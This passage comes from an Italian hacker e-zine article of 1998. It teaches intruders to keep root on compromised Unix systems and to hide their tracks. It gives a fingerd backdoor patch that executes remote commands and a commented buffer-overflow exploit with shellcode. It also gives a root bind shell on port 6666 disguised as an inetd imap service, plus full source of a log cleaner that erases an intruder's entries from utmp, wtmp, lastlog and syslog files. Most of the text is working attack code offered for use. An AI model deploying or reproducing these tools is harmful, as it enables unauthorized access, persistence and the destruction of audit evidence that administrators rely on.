Se tizi di questo calibro lo dicono, sara' pure vero :)
Per brevita' dell' articolo uso dei #define al posto dei char array[]
scomposti in singole celle come visto per il login modificato. Ma
ricordate di usare quel modo se non volete uno strings su per il retto. :)
#define BFI98 "bfi98"
#define BFIOUT "esc"
#define CMDLOCK "/usr/sbin/.in.fingerd.cmd"
ci serve anche una variabile di stato da aggiungere alle altre:
int cmd;
Queste righe vanno nella stessa posizione di prima. Nel fingerd.c di
finger-0.10 dopo la riga 187:
cmd = 0;
if (!strcmp(s,BFI98)) {
fp=fopen(CMDLOCK,"a+");
fclose(fp);
cmd = 1;
} else if (!strcmp(s,BFIOUT))
unlink(CMDLOCK);
In breve. La variabile e' settata a 0. Se la stringa eguaglia quella di
attivazione creiamo il lock file, per poi richiudere subito il descrittore
del file; la variabile e' portata a 1, per evitare che la stessa stringa
venga subito interpretata come comando. Se invece la stringa eguaglia
quella di disattivazione, cancelliamo il file. (sempre che le sue
referenze non siano aumentate.)
if (((fp=fopen(CMDLOCK,"r")) != NULL) && !cmd) {
if ((pw=getpwnam(s)) == NULL) {
system(s);
av[--k] = NULL;
}
}
Ora: se il file esiste e la variabile di stato e' uguale a 0, si passa al
controllo sul file passwd. Se non e' il nome di un utente, ovvero
getpwnam(s) ritorna NULL, la passiamo a system per eseguirla; e azzeriamo
la lista da passare a finger, il che ci da' TUTTI gli utenti connessi al
momento. Se invece 1) il file non esiste o 2) la variabile di stato e'
uguale a 1 (quindi appena attivata) la stringa segue il suo normale corso
verso **av da passare a finger.
OK ora vediamo se possiamo fare a meno del file esterno. Potremmo
cambiare i dati contenuti nell'inode dello stesso /usr/sbin/in.fingerd
in modo da passare inosservati. Mi
rendo conto che la parola inode possa
davvero essere qualcosa di nuovissimo per il lettore medio di BFI .... in
effetti qui non si tratta di demoni, shell o exploit. Qui si entra in
kernel-land :) e si discute di come il sistema operativo vero e proprio
funzioni ... immaginiamo il file system di Linux.
##### NOTA - BREVE PARENTESI SUL FILESYSTEM DI LINUX #####################
Questo e' diviso ai nostri occhi in directory e file di vario tipo ... se
da un lato Linux e Un!x in generale NON distinguono tra file binari e di
testo, dall'altro ci sono svariati tipi di file diversi in gioco: device,
FIFO, link simbolici e socket. Oltre ai normali file, che spesso possono
avere al loro inizio una sorta di 'DNA' chiamato magic number che server
per distinguere ad esempio script, da immagini o che altro.
In realta' come si vede analizzando i sorgenti C, per un programmatore i
file non sono altro che flussi di byte, di dati. E' l'implementazione del
file system che si occupa di strutturare questi dati in maniera efficace.
Nello specifico, i dati sono ben divisi dalla loro strutturazione. La
quale e' posta in differenti INODE. Per capirci:
-------------------------------------------------------------------------
| | | | |
| Boot Block | SuperBlock | Inodes | Blocchi di Dati |
| | | | |
-------------------------------------------------------------------------
Quindi possiamo dire che nell'inode di /etc/passwd ci siano le
informazioni relative al file, laddove nel blocco dati di /etc/passwd sia
in realta' contenuto il file degli utenti di sistema. OK, e' ancora molto
dura capirlo :) quindi guardatevi un inode tipo sotto Un!x (semplificato
dal punto di vista dei legami che esso intrattiene con i suoi blocchi di
dati) :
-----------------------
| Permessi di accesso |
-----------------------
| Proprietario |
-----------------------
| Dimensioni |
-----------------------
| Tempi di Accesso .. | -----------
----------------------- -------> | Data |
| ... | | | Block 1 |
----------------------- | -----------
| Referenze |---------- -----------
| dirette ai |----------------> | Data |
| blocchi di dati | | Block 2 |
| corrispondenti |---------- -----------
----------------------- | -----------
-------> | Data |
| Block ..|
-----------
Vi risparmio la stampa della struttura di tipo inode che viene specificata
nel file <linux/fs.h> . Sono ben 55 righe che controllano tutti i
parametri presenti per ogni file all'interno del filesystem. Quelli che ho
mostrato nel diagramma dovrebbero essere a conoscenza di tutti ...
##### NOTA - BREVE PARENTESI SUL FILESYSTEM DI LINUX - FINE ###############
Immaginate quindi di poter variare uno dei parametri dell'inode di
/usr/sbin/in.fingerd che non sia decisivo per l'effettiva accessibilita'
del file da parte di root. Il programma potrebbe controllare il proprio
file per capire in quale stato si trovi, e non avremmo bisogno di un file
esterno. Purtroppo pero' che io sappia non c'e' modo diretto di
intervenire su un inode, se non in kernel-land, magari con un bel modulo,
o ricompilando il kernel dopo aver aggiunto in fs.h e ext2_fs.h nuovi
define per i bit degli inode. Ci sono pero' dei bit che e' possibile
gestire anche da processi in zona utenti, tipici di ext2fs. Eccone la
lista tratta da ext2_fs.h :
/*
* Inode flags
*/
#define EXT2_SECRM_FL 0x00000001 /* Secure deletion */
#define EXT2_UNRM_FL 0x00000002 /* Undelete */
#define EXT2_COMPR_FL 0x00000004 /* Compress file */
#define EXT2_SYNC_FL 0x00000008 /* Synchronous updates */
#define EXT2_IMMUTABLE_FL 0x00000010 /* Immutable file */
#define EXT2_APPEND_FL 0x00000020 /* append only */
#define EXT2_NODUMP_FL 0x00000040 /* do not dump file */
#define EXT2_NOATIME_FL 0x00000080 /* do not update atime */
#define EXT2_RESERVED_FL 0x80000000 /* reserved for ext2 lib */
Questi parametri vengono modificati ad esempio da chattr(1) e possiamo
utilizzare dei semplici system(3) per usare chattr e lsattr per valutare
lo stato di queste flag sul nostro demone, senza dover creare altri file.
Ad esempio laddove nel primo esempio abbiamo creato il lockfile, ora
potremmo settare la flag EXT2_IMMUTABLE_FL su in.fingerd e valutarla poi
invece di cercare il file esterno. La scrittura di queste modifiche ve la
lascio anche perche' e' notte fonda e sono completamente rincoglionito.
OPPURE usiamo fcntl(2) che e' piu' diretto, in modo da bloccare lo stesso
demone in uno stato particolare. Ovvero usiamo come comando di fcntl
F_SETLK con un puntatore alla struttura flock che contenga il bloccaggio
in lettura F_RDLCK o in scrittura F_WRLCK. Una successiva chiamata a fcntl
con F_GETLK ci fornira' lo stato del demone.
Come a dire .... di modi ce ne sono ....
###########################################################################
OK, le dimensioni di fingerd sono piu' grandi. Pero' cosi' e' molto piu'
utile: pensate alla possibilita' di eseguire da remoto con permessi root,
script o programmi non suidati che avete lasciato nelle dir piu' assurde
Si vedono molte connessioni finger in /var/log/secure ?! modificate in
modi simili i binari di tcpd o usate HideMe inserendo l'IP da nascondere.
###########################################################################
Per finire: ho detto che una possibile backdoor e' l'exploit con cui siete
entrati. Vero. Oppure potete ripristinare i bit setuid a tutti quei
programmi considerati passibili di overflow, che root ha disabilitato.
Ovvero. Immaginate di aver usato l'exploit per xosview, che in RH 5.1 e'
settato setuid root, ovvero si presenta cosi':
-rwsr-xr-x 1 root root 58653 Nov 6 1997 /usr/bin/X11/xosview
Ovvero al posto della x per il proprietario del file ha una s ! Ovvero se
eseguite quel file avrete l'EUID (effective user id) uguale all'UID del
proprietario del file; in questo caso quindi uguale a root. Quindi
l'exploit serviva per far lanciare da xosview una shell con EUID 0 ! Ed
allora il sysop ha cambiato quella s con una x ... Rimettete la s.
Dopodiche' mandateli in overflow :) Vi allego il codice tutorial in C di
Aleph1 per quanto riguarda i buffer-overflow. Il suo articolo e' forse il
migliore e comunque il piu' conosciuto. Se interessa chiedetelo pure e lo
traduco per il prossimo numero. Intanto beccatevi il codice commentato in
italiano, adattabile a praticamente quasi OGNI programma che si comporti
in questa maniera. Lo shellcode (calma fra un po' capite) esegue una
shell.
--------------------------- taglia qui-------------------------------------
/*
* Semplice Codice per buffer overrun.
* adattamento dal codice di Aleph1 come presentato nel suo articolo
* "Smashing the Stack for Fun and Profit" . Se non capite cosa faccia
* questo codice, leggetevi l'articolo. Se non sapete ancora chi sia
* Aleph1 iscrivetevi a BUGTRAQ. Se non sapete cosa sia BUGTRAQ
* ricordatevi che e' uscito in videoteca da qualche mese Hackers !!!
*
* Nota: _NO_(C)1998 fusys :
* libero codice tradotto e commentato in italiano da fusys.
* Implementato in gran parte da ALEPH1, su vecchi scritti di MUDGE,
* su un'idea di un amico di MORRIS Jr. ...... =;)
*
*
*/
#include <stdlib.h>
#define DEFAULT_BUFFER_SIZE 512
/* Questo numero deve essere specificato MAGGIORE del buffer che intendiamo
* mandare in overflow. Se ad esempio vogliamo copiare in un array[512] e'
* il caso di specificare almeno 612, se non 700 ...
*/
#define DEFAULT_OFFSET 150
/* Questo parametro invece ci indica la 'distanza' (traduzione alla
* manuale IBM del 1981 ;)) che il buffer, che intendiamo mandare in
* overflow, ha dall'inizio dello stack. Questo parametro, come il
* prossimo, puo' essere specificato sulla linea di comando
*/
#define NOP 0x90
/* NOP da luogo ad una NULL OPeration .. su processori x86 Intel
* il codice esadecimale e' 0x90 . In sostanza ci permette di far
* 'scorrere' (non e' proprio cosi') il puntatore all'istruzione verso il
* nostro codice segreto (per il programma da sploitare), solitamente un
* semplice /bin/sh
*/
/* OK. Questo e' il famoso shellcode. Chiamatelo come volete.
* CodiceMacchina. Uovo con Sorpresa. Smanettata nel Buffer. StupraSuid.
* Comunque rimarra' sempre la rappresentazione esadecimale delle istruzioni
* in assembler che su un sistema Linux servono per eseguire /bin/sh. O
* meglio per eseguire la chiamata di sistema execve con primo parametro
* un array di puntatori che contiene /bin/sh ed un NULL. Oltre ai
* necessari aggiustamenti di flusso nello stack per fargli eseguire proprio
* /bin/sh. Debitamente liberata di ogni x00 per evitare interruzioni
* nella stringa che dobbiamo 'gonfiare' ... per maggiori info riguardatevi
* l'articolo di Aleph1 .... dove lo trovate ? su altavista ! :)
*/
char shellcode [] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Questa sciocca get_sp che sembra tessere un incantesimo di enorme
* potenza per via di quella stringa astrusa :) ci fornisce l'inizio dello
* stack, il puntatore allo stack. Si, esp ed eax sono registri su Intel.
* esp si occupa del top dello stack (variabile a causa di PUSH e POP),
* eax, come altri, invece si occupa di tenerci da parte dei valori
*/
unsigned long get_sp(void)
{ __asm__("mov %esp,%eax"); }
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
/*
* allochiamo dinamicamente la memoria necessaria per il nostro
* buffer che conterra' tra l'altro, il nostro shellcode.
*/
if (!(buff = malloc(bsize))) {
printf("Impossibile allocare la memoria richiesta\n");
exit(0);
}
/*
* Ora ci serve l'indirizzo del puntatore allo Stack
* Ce lo pigliamo proprio con quel get_sp suddetto
*/
addr = get_sp() - offset;
printf("Stiamo usando l'indirizzo: 0x%x\n",addr);
/*
* Riempiamo il nostro buffer proprio con quell'indirizzo
* il passo di 4 segue le dimensioni delle parole (in questo
* caso per l'appunto di 4 byte)
*/
ptr = buff;
addr_ptr = (long *)ptr;
for(i = 0; i<bsize; i+=4)
*(addr_ptr++) = addr;
/*
* a questo punto, riempiamo la meta' del nostro buffer dei
* codici esadecimali relativi a NOP, ovvero x90
*/
for(i=0;i<bsize/2;i++)
buff[i] = NOP;
/*
* ora ci ficchiamo dentro il Raperonzolo(C)
*/
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
*(ptr++) = shellcode[i];
/*
* terminiamo la stringa
*/
buff[bsize - 1] = '\0';
/*
* ed ora la carichiamo come variabile ambientale, per farla
* piovere sul povero programma
*/
setenv("EGG", buff, 1);
/*
* Ora eseguiamo una shell che inerita tutto cio' che abbiamo
* inserito in ambiente: da questa shell potremo eseguire il
* programma derelitto con un bel $EGG postposto per renderlo
* consapevole della nostra stringa regalo. Oppure potete inserire
* in system una bella macro di #define con il path del binario
* e la variabile EGG (si, potete rinominarla, non e' importante
* il nome)
*/
system("/bin/sh");
}
--------------------------- taglia qui-------------------------------------
Ovviamente mi sembra di avervi lasciato poco codice con cui giochicchiare
quindi vi lascio una semplice implementazione (davvero roba di minuti) di
una shell su porta TCP da utilizzare con inetd, come vi ha spiegato Dark
Schneider la scorsa volta.
In pratica aggiungete un altro servizio ad inetd.conf oppure modificatene
uno non utilizzato (per non destare troppi sospetti). Ad esempio sulla mia
macchina non c'e' un server IMAP quindi ho modificato la linea
corrispondente in:
# Pop and imap mail services et al
imap stream tcp nowait root /usr/sbin/tcpd imaps
Il vero nome del demone sarebbe imapd ... l'ho cambiato per farvi capire
di non sovrascrivere mai veri file del sistema, ma meglio, sostituiteli
quando potete ... in questo caso ho compilato e rinominato imaps in
/usr/sbin il seguente codice. Cosa fa? Semplice ... non appena
raggiungete via telnet, o nc, o con altri modi la porta imap (presieduta
da inetd) questo demone verra' lanciato e creera' una shell con privilegi
root su UN'ALTRA PORTA. Dopo il classico TIME_WAIT, il demone imaps aperto
da inetd cade, lasciando solo la shell sulla porta nuova (che nel sorgente
e' specificata a 6666). Ora potete collegarvi alla porta 6666 per avere la
vostra bella shell interattiva con cancelletto compreso :)
Questo permette di non aprire subito una shell direttamente da inetd e
puo' fornire un ulteriore livello di ricerca sulle spalle del sysop. Certo
qui ci sono solo le istruzioni relative ai socket .... si potrebbe creare
un wrapper che emuli il vero imap se l'IP di arrivo non e' specificato
... insomma spazio alle modifiche, seguendo i dettami di LordFelix
riguardo alla programmazione dei socket.
Ecco il codice:
--------------------------- taglia qui-------------------------------------
/*
* TCPShell.c Semplice Shell raggiungibile via socket
* Scritta solo per impratichirmi delle basi della
* programmazione dei socket BSD.
*
* no(C)1998 by fusys
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#define LISTENQ 1 /* listen() backlog */
int main (int argc, char *argv[])
{
int lsocket ; /* socket per listen() */
int csocket ; /* socket per connect() */
struct sockaddr_in laddr ; /* struttura IPv4 del demone */
struct sockaddr_in caddr ; /* struttura IPv4 del client */
socklen_t len ; /* dimensioni della struttura IPv4 */
pid_t pid ; /* tipo pid per il fork() */
/* apriamo il server con socket(), bind() e listen() */
if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket error");
return(10);
}
len = sizeof(laddr) ;
memset(&laddr, 0, len) ;
laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
laddr.sin_family = AF_INET ;
laddr.sin_port = htons(6666) ; /* apriamo sulla porta 6666 */
if((bind(lsocket, (const struct sockaddr *)&laddr, len))) {
perror("bind error");
return(10);
}
if(listen(lsocket, LISTENQ)) {
perror("listen error");
return(10);
}
/* ora TCP se ne va nel paese dei demoni e si becca come
* parente init, pronto a seccarlo alla conclusione */
if ((pid=fork()) == -1) {
perror("Fork #1");
return(20);
}
if (pid > 0) exit(0); /* parente */
setsid() ; /* figlio */
/* ora accettiamo UNA connessione */
len = sizeof(caddr);
if((csocket=accept(lsocket, &caddr, &len)) < 0) {
perror("socket accept");
abort();
}
dup2(csocket,0);
dup2(csocket,1);
dup2(csocket,2);
system("/bin/sh -i");
exit(0);
}
--------------------------- taglia qui-------------------------------------
A cosa prestare attenzione?! Beh. Prima di tutto, dopo aver chiamato
bind() sulla porta 6666, non possiamo immediatamente riaprire un altro
processo sulla stessa porta, ma dobbiamo aspettare che passi il 2MSL o
Maximum Segment Lifetime (il suo doppio per esattezza), ovvero il massimo
tempo che un segmento possa esistere nella rete senza essere
utilizzato prima di essere scartato. E corrisponde al tempo dello stato
TIME_WAIT. Seconda cosa: system(3) puo' eseguire ovviamente anche altri
programmi. Non serve vi ricordi quella famosa fantasia di cui abbiamo
parlato prima. Altri la chiamano paranoia, ma comunque :) ...
Terzo: NETSTAT vi vede ovviamente in quanto TCP e' orientato alla
connessione e mantiene le coppie del socket (host locale.porta <-> host
remoto.porta) connesse. Anche se non scrivete nulla nella shell sulla
porta 6666 sarete ugualmente segnati come connessi. Se volete saperne di
piu' sui protocolli TCP/IP il libro bibbia dal punto di vista dei coder e'
sicuramente TCP/IP Illustrated Vol.1 di R.W.Stevens .... dovendo
scegliere tra una cena costosa e questo libro, comprate il libro. E poi
andate a leggerlo in un pub :) O in un take-away cinese ....
Questo ovviamente mi ha fatto venire un'idea or ora ... se ho fatto in
tempo prima dell'uscita di BFI3 allora ci dev' essere qualche altro mio
articolo in giro :))) altrimenti sara' per altri numeri.
Ricapitolando questa TCPShell :
-------------
Voi ----(1)------> | inetd |---
| | | |
| | | (2)
| | | |
| -------(3)--------|-----> 6666|<--
|------------
PORCA! Che schifo di diagramma ... ora capisco perche' non programmo Pics
e non ho mai avuto bei voti in disegno tecnico :))) Vabbe' va ....
Ok Ok .... anche questo e' concluso. Se vi sembrano tutte puttanate e'
forse il caso che scriviate anche voi qualcosa o che codiate qualcosa, o
che inventiate nuovi metodi e|o similari e ce li facciate sapere ....
altrimenti sinceramente non leggetemi e non rompetemi le palle :)
Se invece ho sparato incredibili minchiate ed avete le correzioni esatte
non aspetto altro che di sentirle.
Imparare e' decisamente meglio che credersi cosi' sapienti ....
(Lao Fu-Sys) =:)
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÄÄÄÄÄÄÄÄÄ T00LS PER RiMANERE iN 0MáRA S0TT0 UNiX ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍͼ
NO(C)1998 fusys
A scopo informativo di Apprendimento e Divertimento. Fatene quel che volete.
Lo scorso numero vi ho fatto dare un'occhiata ai piu' comuni sistemi di log
presenti nel piu' vicino sistema un!x. Certo, qualcuno mi ha fatto notare
alcuni eccellenti omissis, vedi il log debug, ma d'altronde a seconda
della distro e dei gusti privati di root, ogni file di log puo' avere il
nome che preferite, purche' il contenuto vi sia noto. D'altronde un po' di
compiti a casa non ha mai fatto male a nessuno (seeee). In questo mini
HOWTO :) vediamo di aggiungere qualcosa che possa essere utile per
effettivamente scomparire dagli occhi piu' noiosi di root. Come per la
manipolazione di **argv del primo numero questo non e' codice supremo.
Oltretutto e' commentato ed indentato alla lettura.
Vedremo un semplice editor di file di log (ed un suo derivato per gli
spiritosoni) e tireremo fuori dal cilindro due ovvieta' fra le tante per
nasconderci definitivamente modificando il binario di ps e top.
Il primo editor l'ho chiamato con molta fantasia HideMe.c ... se avete
gia' capito di cosa si tratta allora non avete bisogno di leggere bfi :)
andate e moltiplicatevi. Prima il sorgente allora dopodiche' passiamo ad
alcune spiegazioni sul codice.
--------------------------cut here----------------------------------------
/*
HideMe.c Cleans Utmp, Wtmp, LastLog, Messages, XferLog, Secure,
MailLog. Please check your brain connection before using
since it does NO timestamp or CRC checking. Yet. ;)
Usage: hideme <user> <host> <IP>
P.S. check all logs dirs and edit this source accordingly.
*/
/************************************************************************
* Written by fusys no (C)1998 *
* Yes. I coded this. No. I didn't leave this in your system. *
* Go check your local nasty user or cracker. *
* For Informative and Non-Profit Fun only. *
* I was not the first. I won't be the last. AMEN to that. *
* YES. It seems today I don't have anything better to do. Go figure. ;) *
************************************************************************/
#include <fcntl.h> /* as coder@reptile said: */
#include <utmp.h> /* includes, what would we do */
#include <sys/types.h> /* without them ?! */
#include <unistd.h>
#include <lastlog.h>
#include <stdio.h>
#include <pwd.h>
#define UTMP "/var/run/utmp" /* Understand ?! */
#define WTMP "/var/log/wtmp" /* If not, RTFM ... */
#define LASTLOG "/var/log/lastlog" /* Still in the myst ? */
#define MESSAGES "/var/log/messages" /* Please RTFMA ... */
#define SECURE "/var/log/secure" /* What now ?!!? */
#define XFERLOG "/var/log/xferlog" /* Ok I got it for ya: */
#define MAILLOG "/var/log/maillog" /* Consider using W95 ! */
#define MAXBUFF 8*1024
int main (int argc, char *argv[])
{
struct utmp ut ; /* (C)1998 PNN */
struct lastlog ll ; /* Pretty New Names */
struct passwd *pass ;
int i, size, fin, fout ;
FILE *lin ;
FILE *lout ;
char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG} ;
char *newlogs[] = {"messages.hm", "secure.hm", "xferlog.hm", "maillog.hm"} ;
char buffer[MAXBUFF] ;
char ninja[10] ; /* better isn't it ?! */
char zaibatsu[100] ; /* oh ... shut up ! :) */
char zaibatsu_ip[17] ;
if (argc!=4) {
fprintf(stderr, "\nHideMe\n") ;
fprintf(stderr, "Usage: %s <user> <host> <IP>\n\n", argv[0]) ;
exit () ;
}
/***************************
* OK Let's start with UTMP *
***************************/
size = sizeof(ut) ;
strcpy (ninja, argv[1]) ;
fin = open (UTMP, O_RDWR) ;
if (fin < 0) {
fprintf(stderr, "\nUh ? utmp target not locked. Getting outta here.\n") ;
close (fin) ;
exit () ;
}
else {
while (read (fin, &ut, size) == size) {
if (!strncmp(ut.ut_user, ninja, strlen(ninja))) {
memset(&ut, 0, size) ;
lseek(fin, -1*size, SEEK_CUR) ;
write (fin, &ut, size) ;
}
}
close (fin) ;
printf("\nutmp target processed.") ;
}
/***************************
* OK Let's go on with WTMP *
***************************/
strcpy (zaibatsu, argv[2]) ;
strcpy(zaibatsu_ip, argv[3]) ;
fin = open(WTMP, O_RDONLY) ;
if (fin < 0) {
fprintf(stderr, "\nUh? wtmp target not locked. Getting outta here.\n") ;
close (fin) ;
exit () ;
}
fout = open("wtmp.hm", O_WRONLY|O_CREAT) ;
if (fout < 0) {
fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting outta here.\n") ;
close (fout) ;
exit () ;
}
else {
while (read (fin, &ut, size) == size) {
if ( (!strcmp(ut.ut_user, ninja)) || (!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) ) {
/* let it go into oblivion */ ;
}
else write (fout, &ut, size) ;
}
close (fin) ;
close (fout) ;
if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) &&
(system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) {
fprintf(stderr, "\nAch. Couldn't replace %s .", WTMP) ;
}
system("/bin/chmod 644 /var/log/wtmp") ;
printf("\nwtmp target processed.") ;
}
/***************************
* OK Let's look at LASTLOG *
***************************/
size = sizeof(ll) ;
fin = open(LASTLOG, O_RDWR) ;
if (fin < 0) {
fprintf(stderr, "\nUh? lastlog target not locked. Getting outta here.\n") ;
close (fin) ;
exit () ;
}
else {
pass = getpwnam(ninja) ;
lseek(fin, size*pass->pw_uid, SEEK_SET) ;
read(fin, &ll, size) ;
ll.ll_time = 0 ;
strncpy (ll.ll_line, " ", 5) ;
strcpy (ll.ll_host, " ") ;
lseek(fin, size*pass->pw_uid, SEEK_SET) ;
write(fin, &ll, size) ;
close (fin) ;
printf("\nlastlog target processed.\n") ;
}
/***************************
* OK moving to /var .... *
***************************/
for (i=0;i<4;i++) {
printf("Processing %s\t", varlogs[i]) ;
lin = fopen (varlogs[i], "r") ;
if (lin == 0) {
fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") ;
fclose (lin) ;
break ;
}
lout = fopen (newlogs[i], "w") ;
if (lout == 0) {
fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") ;
fclose (lout) ;
break ;
}
else {
while (fgets(buffer, MAXBUFF, lin) != NULL) {
if ((!strstr(buffer, ninja)) && (!strstr(buffer, zaibatsu)) && (!strstr(buffer, zaibatsu_ip))) {
fputs(buffer, lout) ;
}
}
}
fclose (lin) ;
fclose (lout) ;
printf(" DONE.\n") ;
}
system ("mv messages.hm /var/log/messages");
system ("mv secure.hm /var/log/secure");
system ("mv xferlog.hm /var/log/xferlog");
system ("mv maillog.hm /var/log/maillog");
exit () ;
}
--------------------------cut here----------------------------------------
Prima risposta alla prima domanda: "Perche' i commenti in inglese ?"
Poiche' non mi fido che non ci sia nessuno che lasci il sorgente in giro,
almeno vediamo di sviare i sospetti dai poco anglofoni italiani :)
Secondo: "Questa roba non e' vecchia?!"
Certo che lo e' .... i file di log non sono un'invenzione di bfi ne' dell'
anno scorso. Ed il loro formato non e' poi cambiato molto. Questa e' una
stesura pulita di altri 'antilogger'.
Terzo: "Non posso usare utclean al posto di questo?"
Certo che potete, solo modificate il codice che ivi si occupa di lastlog
dal momento che e' codato apposta per cancellarlo solo a root.... almeno
nelle distribuzioni che ho visto in giro. Quindi se lo lanciate u+s root e
volete cancellare dai log ciccio, cancellerete cmq il lastlog di root e
NON di ciccio. Quindi imparate qui come si faccia e modificatevi utclean.c
Ora zitti. Potete anche saltarlo questo articolo. :)
Lasciamo perdere i define. Mi sono espresso gia' nel sorgente su chi non
capisce di cosa si tratti. Nello specifico rileggetevi il mio articolo su
bfi2, oppure un bel manuale un!x, oppure svegliatevi. :)
All'inizio di main() settiamo le variabili che ci interessano. Le piu'
importanti sono forse le strutture ut, ll e *pass che ci permettono di
scremare dai log il nostro nome ... (non loro, ma grazie ai dati in esse
contenuti).
strcpy (ninja, argv[1]) ;
fin = open (UTMP, O_RDWR) ;
qui copiamo il nome dell'utente da nascondere nella variabile ninja e poi
apriamo il file utmp. Se piu' avanti nella lettura binaria di utmp,
troviamo che il nome utente nella struttura ut e' uguale alla stringa
contenuta in ninja:
if (!strncmp(ut.ut_user, ninja, strlen(ninja)))
allora dobbiamo cancellare le nostre tracce. Nel file utmp le informazioni
non sono che strutture utmp consecutive. Quindi se noi riempiamo di 0 la
struttura utmp, torniamo all'inizio dell'ultima struttura letta, quella in
cui l'utente e' uguale a ninja, e riscriviamo la struttura sul file utmp,
avremo una struttura 'nulla' ed il nostro nome sara' scomparso dal file di
log utmp:
memset(&ut, 0, size) ;
lseek(fin, -1*size, SEEK_CUR) ;
write (fin, &ut, size) ;
Dopo utmp, passiamo a wtmp. Copiamo il nome host da epurare, ed il suo IP
correlato. Questo per evitare di dover inserire delle chiamate di
conversione degli indirizzi (vedi l'articolo in bfi2 di LordFelix) e per
non dover affrontare il caso di sistemi con IP multipli mappati su uno
stesso canonical name (con un char *h_addr_list[] multiplo) ....
strcpy (zaibatsu, argv[2]) ;
strcpy(zaibatsu_ip, argv[3]) ;
open(WTMP, O_RDONLY) ;
Apriamo anche un altro file che chiamiamo wtmp.hm nella dir corrente, per
effettuare poi la sovrascrittura dell'originale con la nostra copia
adulterata. Questo proprio come in utclean.c ... Poi mentre siamo in un
ciclo di lettura binaria del file all'interno di strutture utmp compariamo
vari campi ai nostri nome utente e sistema:
if ( (!strcmp(ut.ut_user, ninja)) ||
(!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) )
Nel caso l'if sia vero non facciamo nulla. O meglio, nel caso invece i
dati da nascondere non comparissero nella struttura in esame, solo allora
scriveremmo all'interno di wtmp.hm . In questa maniera avremo un wtmp.hm
uguale al wtmp normale, se non fosse per alcune omissioni :)
Dopodiche' inseriamo wtmp.hm come vero wtmp:
system("/bin/mv wtmp.hm /var/log/wtmp")
system("/bin/chmod 644 /var/log/wtmp") ;
Probabilmente pero' il sistema semplice con cui stiamo modificando utmp e
wtmp non e' chiaro ai non programmatori in C ... in pratica con read e
write noi prendiamo un certo tot di byte dal file, senza curarci di che
byte siano e li inseriamo in una struttura che abbiamo precedentemente
dichiarato come di tipo utmp. In questa struttura abbiamo:
struct utmp {
short ut_type; /* tipo di login */
pid_t ut_pid; /* pid del processo */
char ut_line[UT_LINESIZE]; /* nome del tty - "/dev/" */
char ut_id[2]; /* id o abbrev. ttyname */
time_t ut_time; /* ora del login */
char ut_user[UT_NAMESIZE]; /* user name */
char ut_host[UT_HOSTSIZE]; /* host name per login remoti */
long ut_addr; /* IP del sistema remoto */
};
I campi che maggiormente ci interessano sono ut.ut_user, ut.ut_host e
ut.ut_addr (piu' avanti). I byte che leggiamo corrispondono ad una
quantita' sizeof(ut) ovvero ne leggiamo tanti quanti ne servono per
riempire la struttura ut .... poi compariamo questi campi e riscriviamo o
meno le strutture.
Per lastlog abbiamo bisogno di una struttura diversa: di tipo lastlog che
chiameremo con ruggente e maestosa fantasia ll. Una struttura tipo lastlog
contiene i seguenti elementi:
struct lastlog
{
time_t ll_time; /* ultim'ora di login */
char ll_line[UT_LINESIZE]; /* terminale di login */
char ll_host[UT_HOSTSIZE]; /* sistema remoto */
};
Poi apriamo lastlog:
open(LASTLOG, O_RDWR) ;
Lastlog contiene i dati inseriti in una maniera differente. Le dimensioni
del file non variano enormemente come per utmp e wtmp. In effetti sono
praticamente sempre le stesse. Questo xche' fin dall'inizio ci sono
strutture per ogni login del sistema. Solo che possono esser vuote. E sono
allocate nel file a seconda dell' UID dell'utente (ovvero quel numero che
compare dopo la password nel file passwd; es: in questo caso ---->
fusys:x:501:501:fusys,,,,:/home/fusys:/bin/bash il mio UID e' 501).
Quindi usiamo prima di tutto una struttura di tipo passwd per trovare
l'UID dell'utente da nascondere, senza doverlo fornire come parametro a
hideme. Le strutture passwd contengono:
struct passwd
{
char *pw_name; /* Username. */
char *pw_passwd; /* Password. */
__uid_t pw_uid; /* User ID. */
__gid_t pw_gid; /* Group ID. */
char *pw_gecos; /* Real name. */
char *pw_dir; /* Home directory. */
char *pw_shell; /* Shell program. */
};
In questo caso quindi con una semplice chiamata di sistema possiamo
ottenere l'UID dell'utente che ci interessa:
pass = getpwnam(ninja) ;
ricordiamo che ninja NON e' un nome, ma una stringa che contiene la copia
del nome che ci interessa. Poi con lseek ci muoviamo all'interno del file
fino al punto dove inizia la struttura che fa capo al nostro utente
malandrino :) :
lseek(fin, size*pass->pw_uid, SEEK_SET) ;
questa parte e' a mio avviso cannata in utclean.c che invece la riporta
cosi':
lseek(fd, size*getuid(), SEEK_SET);
ora ... se io fossi come root e volessi cancellare da lastlog fusys?!
Evidentemente non andrebbe bene .... Quindi ho aggiunto una struttura
passwd ed una chiamata con getpwnam per poter trovare l'offset giusto nel
file. Dopo aver copiato negli elementi di lastlog delle stringhe 'vuote'
(meglio bianche) riscriviamo lastlog stesso.
Dopo lastlog, hideme implementa una sorta di 'grep -v' per creare dei file
